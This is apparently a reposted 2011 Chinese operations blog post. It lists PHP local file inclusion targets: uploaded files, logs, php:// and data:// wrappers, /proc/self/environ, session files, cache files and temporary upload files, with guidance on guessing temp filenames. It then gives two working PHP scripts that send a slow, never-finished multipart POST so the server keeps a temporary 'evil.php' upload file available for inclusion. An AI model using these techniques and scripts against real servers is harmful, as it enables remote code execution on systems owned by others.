分类: 系统运维
2011-10-20 15:56:12
这篇文章总结得很全了,很有用:
1. 包含上传好的文件,jpg、txt、rar等允许的文件。
2. 包含各种日志。
3. 使用php wrapper,例如php://input、php://filter、data://等。
4. 包含 /proc/self/environ ,不熟悉linux,这个就靠大家了。
5. 包含SESSION文件,php保存格式 sess_SESSIONID 默认位置是/tmp/和c:/windows/temp/ 。
6. 包含由php程序生成的文件,缓存、模版等。
7. 包含tmp文件,格式举例:/tmp/phpUs7MxA 和 c:/windows/temp/php3e.tmp。
(win下易暴力猜解,win下最长4个随机字符,linux下6个随机字符,charset is ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)
关于最后一种比较麻烦,也够鸡肋。大家不要想当然,认为tmp和move_uploaded_file()有关,其实没有move_uploaded_file()函数时,php会自动、马上清除tmp文件,而让它保留在服务器的方法是 慢连接 。
——————————————————————————————————————————————————————————————————————————–
测试包含temp文件所用两脚本,这个方法唯一好处就是向任意php文件发包,php总会先在服务器上生成tmp文件,然后慢连接使它不被删除
(前提是php.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个):
/* 这个所用时间较少 , 会产生20个临时文件 */
set_time_limit(0);
$cmd = ‘Content-Disposition: form-data; name=”evil”; filename=”evil.php”
Content-Type: zzz
–k4shifz_boundary
‘;
$fs=fsockopen(‘localhost’,80);
/* you can also use HTTP/1.1 */
fputs($fs,’POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999
–k4shifz_boundary
‘.$cmd);
while($fs)
{
fputs($fs,$cmd);
sleep(1);
}
fclose($fs);
exit;
?>
/* 所用时间较长,会产生1个临时文件 */
set_time_limit(0);
$fs=fsockopen(‘localhost’,80);
fputs($fs,’POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999
–k4shifz_boundary
Content-Disposition: form-data; name=”evil”; filename=”evil.php”
Content-Type: zzz
–k4shifz_boundary–
‘);
while($fs)
{
fputs($fs,’AAAA’);
sleep(1);
}
fclose($fs);
exit;
?>